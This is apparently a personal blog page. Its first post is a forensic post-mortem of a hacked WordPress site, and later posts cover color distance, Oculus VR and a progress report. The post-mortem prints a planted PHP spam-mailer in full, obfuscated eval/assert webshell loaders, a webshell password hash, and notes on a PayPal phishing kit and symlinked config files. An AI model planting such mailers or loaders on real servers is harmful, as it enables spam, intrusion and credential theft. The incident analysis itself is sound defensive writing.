somewhere to talk about random ideas and projects like everyone else

stuff

Blog Hacked 07 June 2014

I don't actually understand what the units of the Y axis are

Well, so my blog got hacked. Even more unfortunate is that I can’t seem to locate any trace of what it looked like when it was hacked. I guess that’s the problem when you write a post-mortem literally a year after the original incident.

All that’s left is some eerie hints that something happened.

My blog was averaging around 350MB of bandwidth per day, when suddenly on June 6th, it started to spike. In fact, between June 6th and 7th, it used a total of over 40GB of bandwidth. It had eaten through my entire monthly bandwidth quota.

At 6:48pm on June 7th, I had discovered that something was going on with my blog and started the process of fixing it. I looked through some of the access logs and saw a particular abundance of a strange file pffam.php

91.234.164.143 - - [07/Jun/2014:05:07:18 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
78.26.204.99 - - [07/Jun/2014:05:07:19 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
46.173.111.151 - - [07/Jun/2014:05:07:21 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"

Presumably pffam.php was the bit of malicious code which was injected onto my server, acting as a nice endpoint for recieving and executing particular actions. It seems that Indy Library is some sort of .NET library which implements HTTP.

It’s interesting that the endpoint is being hit by multiple IP addresses, and they all seem to geolocate to Eastern European countries. Presumably they’ve built some sort of graphical Command & Control panel out of Visual Basic or something.

Unfortunately, it looks like I replaced the entire wordpress installation with an older backup— so I don’t actually have any copies of pffam.php. But it managed to use 40GB of bandwidth, and hackers are hardly keen on keeping all their eggs in one bucket, so surely there must have been other endpoints— right?

Sure enough, there’s another endpoint:

109.87.224.22 - - [06/Jun/2014:21:18:06 -0400] "POST /ajaxanimator/stick2-old/jsgif/Demos/dswbk.php HTTP/1.1" 200 4 "-" "Mozilla/3.0 (compatible; Indy Library)"

And it looks like it was buried underneath enough files that I hadn’t noticed and deleted it— woot? In fact there’s actually a number of fascinating files and folders in that directory

├── IT2_9z38yd
├── PwdbqQ3nh0
├── SLn30gBqqv
├── SPIFBSYgsr
├── UXLPRmw9YY
├── XviRYdmJ4H
├── baZn0aynkw
├── bosa.php
├── dibdt.php
├── dswbk.php
├── fr1.php
├── hummjvq.php
├── ptRiJiayze
│   ├── VjQauM_3Ev
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── sthy.php
├── vlizzvij.php
├── x4MslaR1CW
│   ├── BN3R5U8sF5
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── xstyles.php
└── yl27ceCuPh

So it looks like most of these folders are actually empty, and a lot of the rest of the top level PHP files are the same.

It seems that bosa.php, dibdt.php, dswbk.php, hummjvq.php, sthy.php, and vlizzvij.php are identical.

<?php
$to      = stripslashes($_POST["to_address"]);
$BCC      = stripslashes($_POST["BCC"]);
$subject = stripslashes($_POST["subject"]);
$message = stripslashes($_POST["body"]);
$from_address = stripslashes($_POST["from_address"]);
$from_name = stripslashes($_POST["from_name"]); 
$contenttype = $_POST["type"];


if (strlen($from_address) > 3)
{
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .=  "From: $from_name <$from_address>\r\n";
$header .=  "Reply-To: $from_name <$from_address>\r\n";
$header .= "Subject: $subject\r\n";

$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message), stripslashes($header));
}
else
{
$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message));
}




if($result)
{
echo 'good';
}
else
{
    'error : '.$result;
}
?>

I’m guessing that it’s being used to send spam messages to different people using the PHP mail() function.


More interesting is fr1.php, which is obfuscated as a giant base 64 encoded gzipped string.

eval(gzinflate(base64_decode('HZzHkoTKkkQ/591r...h/Pp/jc/L/+59///33f/4f')));

So to see what went inside, I stuck it in a different file and replaced the eval with echo. The first time I ran it, I had a bit of a double take because the result looked like this:

eval(gzinflate(base64_decode('FZ23kuNKtkU/Z+4NGN...gRP6r//+ffff//v/wE=')));

And if two times isn’t sufficiently meta, this happens a third

eval(gzinflate(base64_decode('FZy3buRaFkU/Z94DA3q...GAfkEQPM8TBK/yP//+++9//w8=')));

A fourth…

eval(gzinflate(base64_decode('HZ3HkqPqlkYf554TDPAuO...7fM8QRAFr//+9z///vvv//wf')));

fifth…

eval(gzinflate(base64_decode('FZzHjuNaskU/p+8FB/...qAgCFAAAIIgiYKX8N///Pvvv//3/w==')));

sixth…

eval(gzinflate(base64_decode('FZzHbuvKtkU/554...L63//+8++///73/wE=')));

seventh…

echo(gzinflate(base64_decode('FZ3HbuRKEkU/Z94...4nCAI0SDH/+ffff//7fw==')));

Actually, it goes on 40 more times, like a demented matroyshka doll. It’s not UTF-8 encoded, so I had to guess a handful of encodings before discovering that it was what Sublime Text calls “Cyrillic (Windows 1251)”. It’s 1500 lines, so I’ve posted it in a Gist rather than sticking it inline here.

I skimmed through the code and it seemed relatively safe— or at least it didn’t seem to plant any rootkits or start any persistent processes. So I ran it and got a screenshot. It seems to call itself “C99madShell v. 3.0 BLOG edition.php”

WebShell


The other distinct file, xstyles.php seems to be a little more unique.

<?php 

$n = 'ss';
$r ="rt";
$a = "a";
$y='e';
$q = $a.$n.$y.$r;

$v = '5b17fxo30zD8d/Ip5C3tQoMx4CRXYgx...8B';

@$q("e"."va"."l('\x65\x76\x61\x6c\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x76\x29\x29\x29\x3b');");

So what does it do? Well, the first part basically just assembles q with the value “assert”.

bool assert ( mixed $assertion [, string $description ] )

When PHP’s built-in assert function is passed a string $assertion, it evaluates that string. It’s less known than eval so this is plausibly useful for evading firewalls of a certain sort. So what it finally translates to is:

assert("eval('eval(gzinflate(base64_decode($v)));');")

The decoded file starts out like this:

<?php
$auth_pass = "cef26cef9c9fdbdb49363368c8921635";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

I searched around for the password, but nobody’s yet been able to find a matching plaintext. However, along the way I found out about PHPDecoder which would have saved quite a bit of time an hour ago.

This one is also 1500 lines, so I’ve posted it in another Gist. This one looks aesthetically a bit nicer— if it’s not too weird to complement the tools of the people who hacked your website.

WebShell


There’s one (hah, pun not intended) folder entitled 1/ which is particularly interesting. It has three subdirectories: configweb, sym, and tumdizin.

Configweb seems to be a directory filled with symlinks to 9414 distinct configuration files, each of them residing on someone else’s home directory. It encompasses lots of different software packages including Joomla, Wordpress, Zencart, SMF, WHM, OSCommerce, VBulletin and ore.

The directory sym seems to just contain a symlink entitled root to— you guessed it— /.

And finally tumdizin seems to link to the web roots of 116 distinct shared hosting accounts which happen to reside on the same server.


There’s also that folders which blow up in the tree x4MslaR1CW, and ptRiJiayze. You can probably guess by files like logo_paypal_106x29.png that this site got turned essentially into a phishing website for Paypal. I’m actually rather amazed that the result looks so plausible.


However, it seems that there was some weird activity going on starting a few days before the massive traffic. There’s an error_log file which seems to grow pretty slowly in general. There was a fairly large stretch from January to June with no errors— and then it seemed to constantly encounter these errors leading up to the traffic spike.

[03-Jun-2014 17:06:05 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/antimatt/public_html/wp/wp-rss.php(1) : eval()'d code:1) in /home/antimatt/public_html/wp/wp-includes/pluggable.php on line 1121
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24

I ended up downloading a daily backup of the server which was taken before it was hacked (June 1, 2014) and installing it onto a small virtual machine. I downloaded a Wordpress plugin for exporting the entire website as static HTML pages and uploaded it to Github pages. This served as a stop-gap measure for almost an entire year while I was getting the new site to work.

This experience is largely why I decided that this new incarnation would be a static site— essentially free from the perils that come with a dynamic website. It’s not like the old version used dynamic content to much advantage anyway, it was cached enough that it was practically static anyway.


Perceptual color distance and RGB and L*a*b 31 May 2014

CIEsmic-Inflation

I was doing some experiments with clustering colors, and it turns out that RGB euclidean distance is woefully inadequate, so here’s a neat little visualization of the colors in an certain image (an obligatory cat) in Lab space (specifically the axes represent L and a).

So it turns out that comparing the difference between RGB colors is actually a really shitty way to determine color distance. There are colors which have similar RGB representations while being perceptually distant, and perceptually similar colors with vastly different representations.

So I decided to run a series of large scale double-blind (heh) experiments on human perception, analyzing the output with a dizzying array of statistical techniques and— oh wait, no I didn’t, because scientists have gotten that all figured out since the late ‘70s.

That group of color scientists, the International Commission on Illumination (CIE, acronyms are a bit weird when they’re international, and by international, I mean French), have been working tirelessly since the early 20th century to create increasingly nuanced mathematical models of color perception.

Rather than give up and use tables (of a slightly different sort), they’ve elected to add increasingly nuanced corrections to the originally elegant euclidean distance metric. Somewhere on that trek, they’ve actually abandoned the notion of actually being a metric- the DeltaE function, which defines how to calculate the perceptual distance between any two colors, is actually only a quasimetric— that is, it isn’t guaranteed that the distance from a point A to a point B is the same as the distance from point B to point A.

I originally wrote this blog post to be parody of all the buzz over the discover of evidence for Alan Guth’s cosmic inflationary theory (hence the diagram), but I kind of waited a while for the content to ferment (albeit not the decades requisite to be worthy of a Nobel).

So here’s a little library for converting between L*a*b* and sRGB, as well as computing DeltaE. There’s probably stuff like configuring the white point that I haven’t adequately considered, but this was good enough for my purposes of filtering colors for Project Naptha.



Unwarranted Speculation On Oculus VR 30 March 2014

oculus-rift-crystal-cove-100245805-orig_clipped_rev_2

I’m almost certainly an outsider, so I can’t speak for the gaming or VR communities, but to me the Facebook acquisition (and the Abrash onboarding announcement) signals that the new Oculus is more interested in bringing to fruition the Metaverse from Snow Crash, and that the hardware (Rift DK1, Crystal Cove, DK2, etc.) has been reduced to a mere means to attaining that end.

I think the “original” product was always contextualized as a gaming accessory, as the vested (financial, by virtue of Kickstarter) interest was held by gamers hoping to utilize this new form factor and experience.

I guess the question is what exactly is Oculus? In the beginning, I’d venture that the answer was simple. They were building a head mounted display which would be affordable, leveraging the technological improvements of the past decade (cheap high quality displays meant for phones and tablets, faster graphics cards). The hardware was their concern, and the software, the games and experiences, everyone else’s.

From the QuakeCon Abrash-Carmack-Luckey panel (which may be a bit dated), Carmack admits that he isn’t really interested in developing the hardware, as opposed to Luckey whose passion really lies in developing that hardware. Carmack, Abrash, and ultimately Facebook are alike in that they are software titans, which I think really shifts the balance in terms of the intentions for Oculus.

Sure there’s the hardware aspect, which is far from a solved problem. But given the palpable progress of Crystal Cove and the famed Valve prototypes, the end is nigh (to be less melodramatic, the consumer edition is on the brink of happening). But if you look at the teardowns, it’s a tablet screen, LEEP optics, an inertial measurement unit, and infrared tracker. The underlying display technology isn’t going to get better, because it’s already piggybacking off a much larger market where even Facebook’s considerable budget is a drop in the bucket.

I think since Carmack joined Luckey’s shop, the destiny of Oculus has shifted from producers of a mere display commodity to a more vertically integrated entity which develops both the hardware and the software which drives its progress and adoption (a la Apple).

And that accumulation of software talent is, I think, itself, a credible threat to the game developers hoping to build games for the Rift- because it establishes a first party, and that has the risk of pushing third party developers into the realm of the second class citizen.

But this dynamic of conflicted interest has played out several times before, and it is not usually an existential risk to the third parties. With transitions flipped, Microsoft had to deal with the risk of alienating OEMs when it started developing its own hardware- the Surface tablet. Likewise, Google’s decision to develop Nexus tablets and phones (and the acquisition of Motorola Mobility) was criticized because it would inevitably result in favoritism for its own devices, weakening relationships between LG, HTC, Samsung and the ilk.

The risk in stifling competition is inherent in any kind of move involving integration (horizontal, vertical, or 37 degrees counterclockwise), but on the other hand, this dissolution of the separation of interests enables the unimpeded progress toward a coherent vision.

And I think that coherent vision is to construct Virtual Reality that is truly grand, world-encompassing and liable to all the philosophical depth missing from prior incarnations outside of science fiction. Not the kind of gimmicky interactions retrofitted into first person shooters, jumping onto the bandwagon represented by that euphemistic initialism “VR”.

I don’t think post-acquisition institutional independence or agency ultimately matter, because the seeds for something larger has already been sown.

Is this new Oculus a threat to existing companies and their efforts to build VR games? Perhaps, this has to be true on some level, the more interesting question, I think, is whether or not this cost will be offset (and then some) by those inspired by Oculus’s vision and audacity and that which can be built on this new and boundless meta-platform.


..so I just finished writing all of this. I originally meant it as a Hacker News comment, and then halfway through I decided not to ultimately submit it, because if you really think about it, this is all kind of silly. I feel like one of those poor conspiracy theorists connecting dots where the lines may not exist. I’m sure there are nontrivial technical challenges that still need to be vanquished, but as an outside observer, I’d claim that Dunning-Kruger permeates my perception, and I can’t possibly gauge the extent of problems that remain (the less you know, the simpler it all seems). And I have a habit of conflating long term with short term (when I was 12, I vowed not to learn to drive, because surely, aeons from then, when I turned 16, the cars would no doubt drive themselves). I mean, I wrote all of this like five minutes ago, it can’t be _that _wrong already, right?


February Progress Report 28 February 2014

Work expands so as to fill the time available for its completion.

— Parkinson’s Law

For the past four or so months, I’ve been working on just one major project. It’s rather depressing to think that I built a reasonably impressive initial prototype over the course of about a dozen sleep-deprived hours, and that all I’ve accomplished since then is minor polish. Technically, there have been at least two rewrites, completely new capabilities and substantially improved technology, but none of that really matters when it comes to describing the project. A project is what it is, at 80% completion, at 95% and 99%.

Second semester at school has started, and that means that Pass/No Record isn’t a thing anymore, and everyone else is adjusting their behavior appropriately. Problem is, I haven’t changed. It turns out that an entire semester of racing toward the bottom is unsustainable when suddenly the floor has been adjusted to above your current position. But the more important point is that it’s leaving less time, and in particular, less contiguous time to work on anything.

Last month, I was working on a port of the Telea inpainting algorithm. Inpainting refers to any kind of image processing operation which attempts to intelligently fill in certain regions of an image with other content. Perhaps the most famous implementation of this is Photoshop’s Content Aware Fill feature, which uses a texture-synthesis and patch-based system, which enables them to copy over things like patterns, and textures, filling in vast contiguous regions of missing content. The problem is patch-based inpainting is almost always quite slow, in spite of its high quality results. There are simpler algorithms based on the Fast Marching Method like Telea or Navier-Stokes which use diffusion models and the ilk in order to propagate the solid colors of the bordering region of some inpainting mask inwards. I’ll write an actual blog post about this once I package it up and build a nifty demo for it.

Last year, Ben Kamens of Khan Academy posted about reverse engineering the flyout menu in Amazon, which suffered from the rather odd behavior of acting exactly how it should. You totally should be able to navigate to a submenu without worrying about accidentally mousing over something else. I looked around for a context menu library which could actually do this, but for some reason I couldn’t find one, so I decided to make my own.